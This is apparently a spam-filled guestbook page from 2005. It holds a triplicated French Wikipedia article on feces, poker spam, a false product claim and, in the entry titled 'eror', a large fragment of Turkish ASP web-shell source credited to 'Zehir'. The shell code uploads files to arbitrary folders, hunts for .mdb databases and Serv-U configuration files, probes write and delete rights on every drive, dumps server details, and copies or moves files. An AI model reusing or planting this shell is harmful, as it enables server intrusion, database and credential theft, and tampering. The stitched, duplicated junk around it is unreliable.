| 19th June 2005 - 12:00:01 PM |
| 24365 : Billy |
| Microsoft windows 2010 supra is good operation system |
| 19th June 2005 - 01:47:40 PM |
| 24368 : shit ! |
| Matière fécale Un article de Wikipédia, l'encyclopédie libre. Sommaire [affichermasquer] 1 Généralités 2 Vocabulaire 3 Les selles dites normales 4 Les selles anormales 5 Les selles témoins d'autres pathologies 6 L'analyse de selles 7 De divers usages des matières fécales 7.1 Recyclage 7.2 Élimination 8 Conclusion 9 Voir aussi [modifier] Généralités En tant que déchet de l'organisme et vecteur potentiel de maladies (essentiellement le choléra), les matières fécales sont considérées comme matières impures dans de nombreuses cultures et religions. Ainsi : les Incas plaçaient souvent un coprolithe dans la bouche de nombreux condamnés qu'ils voulaient ainsi doublement déconsidérer. les mots la désignant dans le langage vulgaire : chiasse, merde, étrons… comportent une connotation insultante ou péjorative, très forte dans le langage courant et ceci dans toutes les langues… De même les expressions « C'est de la merde » ou « conchier »… Les Matières fécales sont également appelées fèces, selles, ou excréments. Résidu de la digestion, transitant des intestins (duodénum, intestin grêle et côlon) jusqu'au rectum pour être expulsée par l'anus lors de la défécation accompagnée souvent de gaz. C'est une exonération (ou excrétion) de consistance molle (semi liquide). Chez le nouveau-né l'équivalent du méconium. [modifier] Vocabulaire Si les enfants peuvent encore se permettre « d'aller faire caca », les adultes, qui ne vont plus guère à la garde-robe, aux latrines ou aux commodités, se doivent d'aller aux toilettes, aux cabinets, aux WC voire aux lavatories régulièrement (à remarquer la fréquence des mots d'origine anglaise...). On rencontre également, dans la littérature ou le cinéma, des personnages qui demandent à « aller au premier étage » (dans Le Train de 16 h 50, roman d'Agatha Christie), ou qui doivent se dissimuler derrière un amas rocheux pour se « recoiffer » (tel le personnage féminin de l'adaptation cinématographique de Voyage au centre de la Terre, en 1959), sans parler de ces innombrables personnes qui ont besoin de s'isoler pour « se repoudrer »... [modifier] Les selles dites normales Les selles (de 150 à 200 g par jour) sont le résidu de la digestion des aliments après leur passage dans le système digestif (transit digestif). Leur composition est fonction du régime alimentaire. Les selles dites normales contiennent 75 à 85 % d'eau ; 18 à 22 % de matières sèches constituées essentiellement des fibres (de cellulose, constituant essentiel des végétaux et des fibres musculaires non-digérables) et les habituels germes saprophytes (non- dangereux pour la santé) constituant la flore intestinale. Le potassium en est l'ion principal et toute diarrhée s'accompagne d'une fuite de potassium. L'intestin sécrète bien de l'albumine mais celle-ci est digérée et ne se retrouve pas dans les selles. On y trouve par contre quelques enzymes encore actives, comme la chymotrypsine et les nombreuses bactéries Leur coloration brune est due aux pigments biliaires : stercobiline et urobiline. Normalement on n'y retrouve que peu de lipides et d'azote inversement beaucoup de fibres et de graisses non digérables. [modifier] Les selles anormales Une selle est qualifiée d’anormale quand sa forme, sa couleur ou sa consistance sont inhabituelles : son poids dépasse 200 g par jour, elle apparaît « liquide » : diarrhée elle apparaît « trop graisseuse » (stéatorrée, ou créatorrhée) sa fréquence est trop élevé (plus de trois fois par 24 heures) elle contient du sang rouge (doit toujours alarmer, même s'il ne s'agit que de traces) ou du sang « digéré » (selles liquides, noirâtres, nauséabondes). Dans ce dernier cas, une prise en charge médicale urgente est nécessaire. elle contient des « résidus » : ce n'est pas grave s'il s'agit d'aliments non digérés. Il peut s'agir également de parasites, type tenia, qui doivent nécessiter un avis médical. elle peut s'accompagner de douleurs du ventre ou de l'anus. [modifier] Les selles témoins d'autres pathologies Dans certaines maladies, la présence ou l’absence de selles ainsi que leur consistance renseignent sur le type de pathologie en cause. Dans les syndromes de malabsorption (syndrôme d'intolérance au gluten par ex.) elle deviennent hyper abondantes et graisseuses. Dans le cancer du pancréas les selles deviennent blanchatres par l'absence de sels biliaires qui sont déviés vers les urines qui, elles, prennent l'aspect de la « bière brune ». Dans le syndrome de Crohn et la RCUH, elles sont glaireuses et sanglantes. en cas d'occlusion intestinale : choc + absence totale et prolongée de matières et de gaz en cas de fécalome (accumulation de matières fécales dans l'intestin formant obstacle à la progression des selles, trouble du transit fréquent chez les personnes âgées), souvent secondaire à une déshydratation. Le toucher rectal est donc particulièrement utile pour la mise en évidence d’un fécalome, mais également à partir de 50 ans, au cours des visites médicales de routine à la recherche d’éventuelle lésions de la prostate ou du rectum. etc. [modifier] L'analyse de selles La coproculture, qui est l’analyse des matières fécales, recherche la présence de bactéries, virus, champignons. L’analyse précise de la composition des selles par fécalogramme permet de détecter les problèmes de fonctionnement de l’intestin grêle dont: ceux de la flore intestinale surtout des (coliformes dont 99 % d'Escherichia coli) éventuellement des germes pathogènes (bactéries, levures, parasites,…) Secondairement : cultures (coproculture) et isolement des bactéries et levures. Puis test de sensibilité des souches de levures et bactéries aux divers médicaments (antibiogramme, antifongigramme…) la présence de parasites (amibes, vers, etc.)) par l'examen parasitologique des selles, Cette analyse renseigne directement, des résidus digestifs et indirectement de l'absorption (stéatorrhée, créatorrhée) et de l'inflammation intestinale (présence de sang dans les selles habituellement révélée par des analyses de laboratoire ou par le test hémocult ™ également fort utile après 40 ans. [modifier] De divers usages des matières fécales [modifier] Recyclage La matière fécale constitue un engrais naturel traditionnel (voir les champs d'épandage). En Asie comme en Afrique, la bouse de vache et le crottin de cheval séchés peuvent servir comme combustible ou même à faire des briques pour les huttes. [modifier] Élimination L'élimination tant urbaine qu'agricole des matières fécales tant humaines (notamment dans les PED qu'animales (penser au lisier de porcs et aux fientes de poules en Bretagne) posent d'énormes problèmes de génie sanitaire. [modifier] Conclusion Les selles, leur élimination et leur surveillance (sans excès) constituent l'un des pivots de l’hygiène alimentaire mais aussi de l’hygiène générale. Matière fécale Un article de Wikipédia, l'encyclopédie libre. Sommaire [affichermasquer] 1 Généralités 2 Vocabulaire 3 Les selles dites normales 4 Les selles anormales 5 Les selles témoins d'autres pathologies 6 L'analyse de selles 7 De divers usages des matières fécales 7.1 Recyclage 7.2 Élimination 8 Conclusion 9 Voir aussi [modifier] Généralités En tant que déchet de l'organisme et vecteur potentiel de maladies (essentiellement le choléra), les matières fécales sont considérées comme matières impures dans de nombreuses cultures et religions. Ainsi : les Incas plaçaient souvent un coprolithe dans la bouche de nombreux condamnés qu'ils voulaient ainsi doublement déconsidérer. les mots la désignant dans le langage vulgaire : chiasse, merde, étrons… comportent une connotation insultante ou péjorative, très forte dans le langage courant et ceci dans toutes les langues… De même les expressions « C'est de la merde » ou « conchier »… Les Matières fécales sont également appelées fèces, selles, ou excréments. Résidu de la digestion, transitant des intestins (duodénum, intestin grêle et côlon) jusqu'au rectum pour être expulsée par l'anus lors de la défécation accompagnée souvent de gaz. C'est une exonération (ou excrétion) de consistance molle (semi liquide). Chez le nouveau-né l'équivalent du méconium. [modifier] Vocabulaire Si les enfants peuvent encore se permettre « d'aller faire caca », les adultes, qui ne vont plus guère à la garde-robe, aux latrines ou aux commodités, se doivent d'aller aux toilettes, aux cabinets, aux WC voire aux lavatories régulièrement (à remarquer la fréquence des mots d'origine anglaise...). On rencontre également, dans la littérature ou le cinéma, des personnages qui demandent à « aller au premier étage » (dans Le Train de 16 h 50, roman d'Agatha Christie), ou qui doivent se dissimuler derrière un amas rocheux pour se « recoiffer » (tel le personnage féminin de l'adaptation cinématographique de Voyage au centre de la Terre, en 1959), sans parler de ces innombrables personnes qui ont besoin de s'isoler pour « se repoudrer »... [modifier] Les selles dites normales Les selles (de 150 à 200 g par jour) sont le résidu de la digestion des aliments après leur passage dans le système digestif (transit digestif). Leur composition est fonction du régime alimentaire. Les selles dites normales contiennent 75 à 85 % d'eau ; 18 à 22 % de matières sèches constituées essentiellement des fibres (de cellulose, constituant essentiel des végétaux et des fibres musculaires non-digérables) et les habituels germes saprophytes (non- dangereux pour la santé) constituant la flore intestinale. Le potassium en est l'ion principal et toute diarrhée s'accompagne d'une fuite de potassium. L'intestin sécrète bien de l'albumine mais celle-ci est digérée et ne se retrouve pas dans les selles. On y trouve par contre quelques enzymes encore actives, comme la chymotrypsine et les nombreuses bactéries Leur coloration brune est due aux pigments biliaires : stercobiline et urobiline. Normalement on n'y retrouve que peu de lipides et d'azote inversement beaucoup de fibres et de graisses non digérables. [modifier] Les selles anormales Une selle est qualifiée d’anormale quand sa forme, sa couleur ou sa consistance sont inhabituelles : son poids dépasse 200 g par jour, elle apparaît « liquide » : diarrhée elle apparaît « trop graisseuse » (stéatorrée, ou créatorrhée) sa fréquence est trop élevé (plus de trois fois par 24 heures) elle contient du sang rouge (doit toujours alarmer, même s'il ne s'agit que de traces) ou du sang « digéré » (selles liquides, noirâtres, nauséabondes). Dans ce dernier cas, une prise en charge médicale urgente est nécessaire. elle contient des « résidus » : ce n'est pas grave s'il s'agit d'aliments non digérés. Il peut s'agir également de parasites, type tenia, qui doivent nécessiter un avis médical. elle peut s'accompagner de douleurs du ventre ou de l'anus. [modifier] Les selles témoins d'autres pathologies Dans certaines maladies, la présence ou l’absence de selles ainsi que leur consistance renseignent sur le type de pathologie en cause. Dans les syndromes de malabsorption (syndrôme d'intolérance au gluten par ex.) elle deviennent hyper abondantes et graisseuses. Dans le cancer du pancréas les selles deviennent blanchatres par l'absence de sels biliaires qui sont déviés vers les urines qui, elles, prennent l'aspect de la « bière brune ». Dans le syndrome de Crohn et la RCUH, elles sont glaireuses et sanglantes. en cas d'occlusion intestinale : choc + absence totale et prolongée de matières et de gaz en cas de fécalome (accumulation de matières fécales dans l'intestin formant obstacle à la progression des selles, trouble du transit fréquent chez les personnes âgées), souvent secondaire à une déshydratation. Le toucher rectal est donc particulièrement utile pour la mise en évidence d’un fécalome, mais également à partir de 50 ans, au cours des visites médicales de routine à la recherche d’éventuelle lésions de la prostate ou du rectum. etc. [modifier] L'analyse de selles La coproculture, qui est l’analyse des matières fécales, recherche la présence de bactéries, virus, champignons. L’analyse précise de la composition des selles par fécalogramme permet de détecter les problèmes de fonctionnement de l’intestin grêle dont: ceux de la flore intestinale surtout des (coliformes dont 99 % d'Escherichia coli) éventuellement des germes pathogènes (bactéries, levures, parasites,…) Secondairement : cultures (coproculture) et isolement des bactéries et levures. Puis test de sensibilité des souches de levures et bactéries aux divers médicaments (antibiogramme, antifongigramme…) la présence de parasites (amibes, vers, etc.)) par l'examen parasitologique des selles, Cette analyse renseigne directement, des résidus digestifs et indirectement de l'absorption (stéatorrhée, créatorrhée) et de l'inflammation intestinale (présence de sang dans les selles habituellement révélée par des analyses de laboratoire ou par le test hémocult ™ également fort utile après 40 ans. [modifier] De divers usages des matières fécales [modifier] Recyclage La matière fécale constitue un engrais naturel traditionnel (voir les champs d'épandage). En Asie comme en Afrique, la bouse de vache et le crottin de cheval séchés peuvent servir comme combustible ou même à faire des briques pour les huttes. [modifier] Élimination L'élimination tant urbaine qu'agricole des matières fécales tant humaines (notamment dans les PED qu'animales (penser au lisier de porcs et aux fientes de poules en Bretagne) posent d'énormes problèmes de génie sanitaire. [modifier] Conclusion Les selles, leur élimination et leur surveillance (sans excès) constituent l'un des pivots de l’hygiène alimentaire mais aussi de l’hygiène générale. Matière fécale Un article de Wikipédia, l'encyclopédie libre. Sommaire [affichermasquer] 1 Généralités 2 Vocabulaire 3 Les selles dites normales 4 Les selles anormales 5 Les selles témoins d'autres pathologies 6 L'analyse de selles 7 De divers usages des matières fécales 7.1 Recyclage 7.2 Élimination 8 Conclusion 9 Voir aussi [modifier] Généralités En tant que déchet de l'organisme et vecteur potentiel de maladies (essentiellement le choléra), les matières fécales sont considérées comme matières impures dans de nombreuses cultures et religions. Ainsi : les Incas plaçaient souvent un coprolithe dans la bouche de nombreux condamnés qu'ils voulaient ainsi doublement déconsidérer. les mots la désignant dans le langage vulgaire : chiasse, merde, étrons… comportent une connotation insultante ou péjorative, très forte dans le langage courant et ceci dans toutes les langues… De même les expressions « C'est de la merde » ou « conchier »… Les Matières fécales sont également appelées fèces, selles, ou excréments. Résidu de la digestion, transitant des intestins (duodénum, intestin grêle et côlon) jusqu'au rectum pour être expulsée par l'anus lors de la défécation accompagnée souvent de gaz. C'est une exonération (ou excrétion) de consistance molle (semi liquide). Chez le nouveau-né l'équivalent du méconium. [modifier] Vocabulaire Si les enfants peuvent encore se permettre « d'aller faire caca », les adultes, qui ne vont plus guère à la garde-robe, aux latrines ou aux commodités, se doivent d'aller aux toilettes, aux cabinets, aux WC voire aux lavatories régulièrement (à remarquer la fréquence des mots d'origine anglaise...). On rencontre également, dans la littérature ou le cinéma, des personnages qui demandent à « aller au premier étage » (dans Le Train de 16 h 50, roman d'Agatha Christie), ou qui doivent se dissimuler derrière un amas rocheux pour se « recoiffer » (tel le personnage féminin de l'adaptation cinématographique de Voyage au centre de la Terre, en 1959), sans parler de ces innombrables personnes qui ont besoin de s'isoler pour « se repoudrer »... [modifier] Les selles dites normales Les selles (de 150 à 200 g par jour) sont le résidu de la digestion des aliments après leur passage dans le système digestif (transit digestif). Leur composition est fonction du régime alimentaire. Les selles dites normales contiennent 75 à 85 % d'eau ; 18 à 22 % de matières sèches constituées essentiellement des fibres (de cellulose, constituant essentiel des végétaux et des fibres musculaires non-digérables) et les habituels germes saprophytes (non- dangereux pour la santé) constituant la flore intestinale. Le potassium en est l'ion principal et toute diarrhée s'accompagne d'une fuite de potassium. L'intestin sécrète bien de l'albumine mais celle-ci est digérée et ne se retrouve pas dans les selles. On y trouve par contre quelques enzymes encore actives, comme la chymotrypsine et les nombreuses bactéries Leur coloration brune est due aux pigments biliaires : stercobiline et urobiline. Normalement on n'y retrouve que peu de lipides et d'azote inversement beaucoup de fibres et de graisses non digérables. [modifier] Les selles anormales Une selle est qualifiée d’anormale quand sa forme, sa couleur ou sa consistance sont inhabituelles : son poids dépasse 200 g par jour, elle apparaît « liquide » : diarrhée elle apparaît « trop graisseuse » (stéatorrée, ou créatorrhée) sa fréquence est trop élevé (plus de trois fois par 24 heures) elle contient du sang rouge (doit toujours alarmer, même s'il ne s'agit que de traces) ou du sang « digéré » (selles liquides, noirâtres, nauséabondes). Dans ce dernier cas, une prise en charge médicale urgente est nécessaire. elle contient des « résidus » : ce n'est pas grave s'il s'agit d'aliments non digérés. Il peut s'agir également de parasites, type tenia, qui doivent nécessiter un avis médical. elle peut s'accompagner de douleurs du ventre ou de l'anus. [modifier] Les selles témoins d'autres pathologies Dans certaines maladies, la présence ou l’absence de selles ainsi que leur consistance renseignent sur le type de pathologie en cause. Dans les syndromes de malabsorption (syndrôme d'intolérance au gluten par ex.) elle deviennent hyper abondantes et graisseuses. Dans le cancer du pancréas les selles deviennent blanchatres par l'absence de sels biliaires qui sont déviés vers les urines qui, elles, prennent l'aspect de la « bière brune ». Dans le syndrome de Crohn et la RCUH, elles sont glaireuses et sanglantes. en cas d'occlusion intestinale : choc + absence totale et prolongée de matières et de gaz en cas de fécalome (accumulation de matières fécales dans l'intestin formant obstacle à la progression des selles, trouble du transit fréquent chez les personnes âgées), souvent secondaire à une déshydratation. Le toucher rectal est donc particulièrement utile pour la mise en évidence d’un fécalome, mais également à partir de 50 ans, au cours des visites médicales de routine à la recherche d’éventuelle lésions de la prostate ou du rectum. etc. [modifier] L'analyse de selles La coproculture, qui est l’analyse des matières fécales, recherche la présence de bactéries, virus, champignons. L’analyse précise de la composition des selles par fécalogramme permet de détecter les problèmes de fonctionnement de l’intestin grêle dont: ceux de la flore intestinale surtout des (coliformes dont 99 % d'Escherichia coli) éventuellement des germes pathogènes (bactéries, levures, parasites,…) Secondairement : cultures (coproculture) et isolement des bactéries et levures. Puis test de sensibilité des souches de levures et bactéries aux divers médicaments (antibiogramme, antifongigramme…) la présence de parasites (amibes, vers, etc.)) par l'examen parasitologique des selles, Cette analyse renseigne directement, des résidus digestifs et indirectement de l'absorption (stéatorrhée, créatorrhée) et de l'inflammation intestinale (présence de sang dans les selles habituellement révélée par des analyses de laboratoire ou par le test hémocult ™ également fort utile après 40 ans. [modifier] De divers usages des matières fécales [modifier] Recyclage La matière fécale constitue un engrais naturel traditionnel (voir les champs d'épandage). En Asie comme en Afrique, la bouse de vache et le crottin de cheval séchés peuvent servir comme combustible ou même à faire des briques pour les huttes. [modifier] Élimination L'élimination tant urbaine qu'agricole des matières fécales tant humaines (notamment dans les PED qu'animales (penser au lisier de porcs et aux fientes de poules en Bretagne) posent d'énormes problèmes de génie sanitaire. [modifier] Conclusion Les selles, leur élimination et leur surveillance (sans excès) constituent l'un des pivots de l’hygiène alimentaire mais aussi de l’hygiène générale. |
| 19th June 2005 - 02:36:32 PM |
| 24369 : Thank you |
| Thanks for all the poker links ! :D... I played poker yesterday and won 00 !!!!!!! My undying gratitude Mr "Spam" |
| 19th June 2005 - 05:07:36 PM |
| 24370 : eror |
| = llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength))) End Function Private Function ParseDisposition(ByRef pbinChunk) Dim llngStart Dim llngEnd Dim llngLength llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare) If llngStart = 0 Then Exit Function llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF) If llngEnd = 0 Then Exit Function llngStart = llngStart + 22 If llngStart >= llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength)) End Function Private Function ParseName(ByRef pstrDisposition) Dim llngStart Dim llngEnd Dim llngLength llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare) If llngStart = 0 Then Exit Function llngEnd = InStr(llngStart + 6, pstrDisposition, """") If llngEnd = 0 Then Exit Function llngStart = llngStart + 6 If llngStart >= llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseName = Mid(pstrDisposition, llngStart, llngLength) End Function ' ------------------------------------------------------------------------------ Private Function ParseFileName(ByRef pstrDisposition) Dim llngStart Dim llngEnd Dim llngLength llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare) If llngStart = 0 Then Exit Function llngEnd = InStr(llngStart + 10, pstrDisposition, """") If llngEnd = 0 Then Exit Function llngStart = llngStart + 10 If llngStart >= llngEnd Then Exit Function llngLength = llngEnd - llngStart ParseFileName = Mid(pstrDisposition, llngStart, llngLength) End Function Public Property Get Count() Count = mlngCount End Property Public Default Property Get Fields(ByVal pstrName) Dim llngIndex If IsNumeric(pstrName) Then llngIndex = CLng(pstrName) If llngIndex > mlngCount - 1 Or llngIndex < 0 Then Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.") Exit Property End If Set Fields = mobjFieldAry(pstrName) Else pstrName = LCase(pstrname) For llngIndex = 0 To mlngCount - 1 If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then Set Fields = mobjFieldAry(llngIndex) Exit Property End If Next End If Set Fields = New clsField End Property Private Sub Class_Terminate() Dim llngIndex For llngIndex = 0 To mlngCount - 1 Set mobjFieldAry(llngIndex) = Nothing Next ReDim mobjFieldAry(-1) End Sub Private Sub Class_Initialize() ReDim mobjFieldAry(-1) CR = ChrB(Asc(vbCr)) LF = ChrB(Asc(vbLf)) CRLF = CR & LF mlngCount = 0 Call RequestData Call ParseDelimiter() Call ParseData End Sub Private Function CStrU(ByRef pstrANSI) Dim llngLength Dim llngIndex llngLength = LenB(pstrANSI) For llngIndex = 1 To llngLength CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1))) Next End Function Private Function CStrB(ByRef pstrUnicode) Dim llngLength Dim llngIndex llngLength = Len(pstrUnicode) For llngIndex = 1 To llngLength CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1))) Next End Function End Class '#################################### Class clsField Public Name Private mstrPath Public FileDir Public FileExt Public FileName Public ContentType Public Value Public BinaryData Public Length Private mstrText Public Property Get BLOB() BLOB = BinaryData End Property Public Function BinaryAsText() Dim lbinBytes Dim lobjRs If Length = 0 Then Exit Function If LenB(BinaryData) = 0 Then Exit Function If Not Len(mstrText) = 0 Then BinaryAsText = mstrText Exit Function End If lbinBytes = ASCII2Bytes(BinaryData) mstrText = Bytes2Unicode(lbinBytes) BinaryAsText = mstrText End Function Public Sub SaveAs(ByRef pstrFileName) Const adTypeBinary=1 Const adSaveCreateOverWrite=2 Dim lobjStream Dim lobjRs Dim lbinBytes If Length = 0 Then Exit Sub If LenB(BinaryData) = 0 Then Exit Sub Set lobjStream = Server.CreateObject("ADODB.Stream") lobjStream.Type = adTypeBinary Call lobjStream.Open() lbinBytes = ASCII2Bytes(BinaryData) Call lobjStream.Write(lbinBytes) On Error Resume Next Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite) 'if err0 then response.Write ""&err.Description Call lobjStream.Close() Set lobjStream = Nothing End Sub Public Property Let FilePath(ByRef pstrPath) mstrPath = pstrPath If Not InStrRev(pstrPath, ".") = 0 Then FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1) FileExt = UCase(FileExt) End If If Not InStrRev(pstrPath, "\") = 0 Then FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1) End If If Not InStrRev(pstrPath, "\") = 0 Then FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1) End If End Property Public Property Get FilePath() FilePath = mstrPath End Property private Function ASCII2Bytes(ByRef pbinBinaryData) Const adLongVarBinary=205 Dim lobjRs Dim llngLength Dim lbinBuffer llngLength = LenB(pbinBinaryData) Set lobjRs = Server.CreateObject("ADODB.Recordset") Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength) Call lobjRs.Open() Call lobjRs.AddNew() Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0)) Call lobjRs.Update() lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength) Call lobjRs.Close() Set lobjRs = Nothing ASCII2Bytes = lbinBuffer End Function Private Function Bytes2Unicode(ByRef pbinBytes) Dim lobjRs Dim llngLength Dim lstrBuffer llngLength = LenB(pbinBytes) Set lobjRs = Server.CreateObject("ADODB.Recordset") Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength) Call lobjRs.Open() Call lobjRs.AddNew() Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes) Call lobjRs.Update() lstrBuffer = lobjRs.Fields("BinaryData").Value Call lobjRs.Close() Set lobjRs = Nothing Bytes2Unicode = lstrBuffer End Function End Class '#################################### function addslash(path) if right(path,1)="\" then addslash=path else addslash=path & "\" end function sub Upload() dim objUpload,f,max,i,name,path,size,success set objUpload=New clsUpload targetPath=objUpload.Fields("folder").Value max=objUpload.Fields("max").Value for i=1 to max name=objUpload.Fields("file" & i).FileName size=objUpload.Fields("file" & i).Length if (name"") and (size>0) then gMsg=gMsg & "" & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): " path=addslash(targetPath) & name objUpload.Fields("file" & i).SaveAs path if objFSO.FileExists(path) then on error resume next set f=objFSO.GetFile(path) if IsObject(f) then if f.Size=size then success=true else success=false end if set f=nothing end if if success then gMsg=gMsg & "uploaded" else gMsg = gMsg & "failed!" end if next response.Write gMsg set objUpload=nothing end sub if status="-4" then Upload() ' hataKontrol popup=false end if '//////////////////////////////// sub hataKontrol if err0 then Response.Write "Hata : "&err.Description&"" end if end sub sub araBul(path_,ara_) on error resume next If Len(path_) > 0 Then cur = path_&"\" If cur = "\" Then cur = "" parent = "" If InStrRev(cur,"\") > 0 Then parent = Left(cur, InStrRev(cur, "\", Len(cur)-1)) End If Else cur = "" End If Set f = objFSO.GetFolder(cur) Set fc = f.Files For Each f1 In fc if lcase(InStr(1,f1.name,lcase(ara_)))>0 then downStr = "Í" if lcase(ara_)="mdb" then Response.Write downStr&"û * "&f1.path&" ["&f1.size&"]"&"" else Response.Write downStr&"û! - "&f1.path&" ["&f1.size&"]"&"" end if end if Next Set fs = f.SubFolders For Each f1 In fs araBul f1.path,ara_ Next Set f = Nothing Set fc = Nothing Set fs = Nothing end sub sub sistemTest response.Write "" response.Write "KonumSonuç" servu_Test WriteTestOnDriver WriteTestOnLocalPath LocalPathParentFolder LocalPathPParentFolder response.Write "" end sub sub servu_Test dosya_ = Array("Program Files\Serv-u\Serv-u.ini", "Program Files\Serv-u\Serv-u daemon.ini", "Serv-u\Serv-u.ini", "Serv-u\Serv-u daemon.ini") for each drive_ in objFSO.Drives if drive_.Drivetype=2 or drive_.Drivetype=3 then for each d_ in dosya_ d_ = drive_.DriveLetter&":\"&d_ if objFSO.FileExists(d_) then response.Write "Serv-U ini file : "&d_&"" end if next end if next end sub function yaziyomu(yol) on error goto 0:on error resume next dim sonuc__ objFSO.CopyFile request.servervariables("PATH_TRANSLATED"),yol & "\test.zehir" if err0 then sonuc__="Yazma Hakký Yok!" else sonuc__="Yazma Hakký Var!" on error goto 0: on error resume next objFSO.DeleteFile yol & "\test.zehir",true if err0 then sonuc__=sonuc__&"Silme Hakký Yok!" else sonuc__=sonuc__&"Silme Hakký Var!" end if end if yaziyomu = sonuc__ end function function yaziyomu2(yol) on error goto 0:on error resume next objFSO.CopyFile request.servervariables("PATH_TRANSLATED"),yol & "\test.zehir" if err0 then yaziyomu2 = false else objFSO.DeleteFile yol & "\test.zehir" yaziyomu2 = true end if end function sub WriteTestOnDriver for each drive_ in objFSO.Drives if drive_.Drivetype=2 or drive_.Drivetype=3 then if not yaziyomu2(drive_.DriveLetter&":\") then Response.Write ""&drive_.DriveLetter&":\yazma yetkisi yok! : ["&err.Description&"]" else Response.Write ""&drive_.DriveLetter&":\yazma yetkisi var!" end if end if next end sub sub WriteTestOnLocalPath on error goto 0 on error resume next if not yaziyomu2(request.servervariables("APPL_PHYSICAL_PATH")) then Response.Write "Local Path yazma yetkisi yok! : ["&err.Description&"]" else Response.Write "Local Path yazma yetkisi var!" end if end sub sub LocalPathParentFolder on error goto 0 on error resume next hed_ = request.servervariables("APPL_PHYSICAL_PATH") if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) parhed_ = left(hed_,InStrRev(hed_,"\")) Set f = objFSO.GetFolder(parhed_) Set fc = f.SubFolders int_fol=0 int_fil=0 For Each f1 In fc int_fol=int_fol+1 Next Set fc = f.files For Each f1 In fc int_fil=int_fil+1 Next if err0 then Response.Write "Local Path Parent FolderHata Oluþtu : ["&err.Description&"]" else Response.Write "Local Path Parent FolderFolder : "&FormatNumber(int_fol,0)&"File : "&FormatNumber(int_fil,0)&"" end if end sub sub LocalPathPParentFolder on error goto 0 on error resume next hed_ = request.servervariables("APPL_PHYSICAL_PATH") if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) hed_ = left(hed_,InStrRev(hed_,"\")) if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) parhed_ = left(hed_,InStrRev(hed_,"\")) Set f = objFSO.GetFolder(parhed_) Set fc = f.SubFolders int_fol=0 int_fil=0 For Each f1 In fc int_fol=int_fol+1 Next Set fc = f.files For Each f1 In fc int_fil=int_fil+1 Next if err0 then if err=451 then Response.Write "Local Path P.Parent FolderData Üst Klasor Yok :)" else Response.Write "Local Path P.Parent FolderHata Oluþtu : ["&err.Description&"]" end if else Response.Write "Local Path P.Parent FolderFolder : "&FormatNumber(int_fol,0)&"File : "&FormatNumber(int_fil,0)&"" end if end sub SELECT CASE status CASE 13 'Sistem Bilgisi Response.Write ": Sistem Bilgileri :" Response.Write "Local Adres " & request.servervariables("REMOTE_ADDR") & "" Response.Write "User Agent " & request.servervariables("HTTP_USER_AGENT") & "" Response.Write "Server " & request.servervariables("SERVER_NAME") & "" Response.Write "IP " & request.servervariables("LOCAL_ADDR") & "" Response.Write "HTTPD " & request.servervariables("SERVER_SOFTWARE") & "" Response.Write "Port " & request.servervariables("SERVER_PORT") & "" Response.Write "Yol " & request.servervariables("APPL_PHYSICAL_PATH") & "" Response.Write "Log Root " & request.servervariables("APPL_MD_PATH") & "" Response.Write "HTTPS " & request.servervariables("HTTPS") & "" Response.Write "" popup = false CASE 14 'Upload and Search aramaUpload popup = false hataKontrol CASE 15 'Ms. SQL Server Response.Write "" Response.Write "SQL Server için connection string giriniz" Response.Write "" Response.Write "" response.Write "" Response.Write "" response.Write "" popup = false hataKontrol CASE 16 'file Copy window Response.Write "" Response.Write "Kop. Yer : " Response.Write "" Response.Write "" response.Write "" Response.Write "" response.Write "Kopyala" response.Write "Tasi" response.Write "" response.Write "" popup = false hataKontrol CASE 17 'file Copy isl = "" if islem="kopyala" then objFSO.CopyFile path,cf isl="kopyalandý.." elseif islem="tasi" then objFSO.MoveFile path,cf isl="taþýndý.." end if response.Write "Dosya "&isl response.Write "Kaynak : "&path&"Hedef : "&cf response.Write "" popup = false hataKontrol CASE 18 'folder Copy window Response.Write "" Response.Write "Kop. Yer : " Response.Write "" Response.Write "" response.Write "" Response.Write "" response.Write "Kopyala" response.Write "Tasi" response.Write "" response.Write "" popup = false hataKontrol CASE 19 'folder Copy isl = "" if islem="kopyala" then objFSO.CopyFolder path,cf isl="kopyalandý.." elseif islem="tasi" then objFSO.MoveFolder path,cf isl="taþýndý.." end if response.Write "Klasor "&isl response.Write "Kaynak : "&path&"Hedef : "&cf response.Write "" popup = false hataKontrol CASE 33 'Powered By response.Write "Powered By Zehir" response.Write "www.cyber-warrior.org" response.Write "artýk hackerlýðýn bir anlamý yok benim için!birgün sizin içinde bir anlam taþýmayacak!by zehir;)" popup = false hataKontrol CASE 40 'Sistem Test sistemTest popup=false CASE 50 'Siteleri Hackleyelim :D END SELECT %> function NewWindow(mypage, myname, w, h, scroll) { var winl = (screen.width - w) / 2; var wint = (screen.height - h) / 2; winprops = 'height='+h+',width='+w+',top='+wint+',left='+winl+',scrollbars='+scroll+',resizable' win = window.open(mypage, myname, winprops) if (parseInt(navigator.appVersion) >= 4) { win.window.focus(); } } function ffd(yol){ NewWindow(yol,"",420,100,"no"); } Max: setid(); function setid() { str=''; if (frmUpload.max.value |
| 19th June 2005 - 07:03:46 PM |
| 24713 : |
| shit ! |
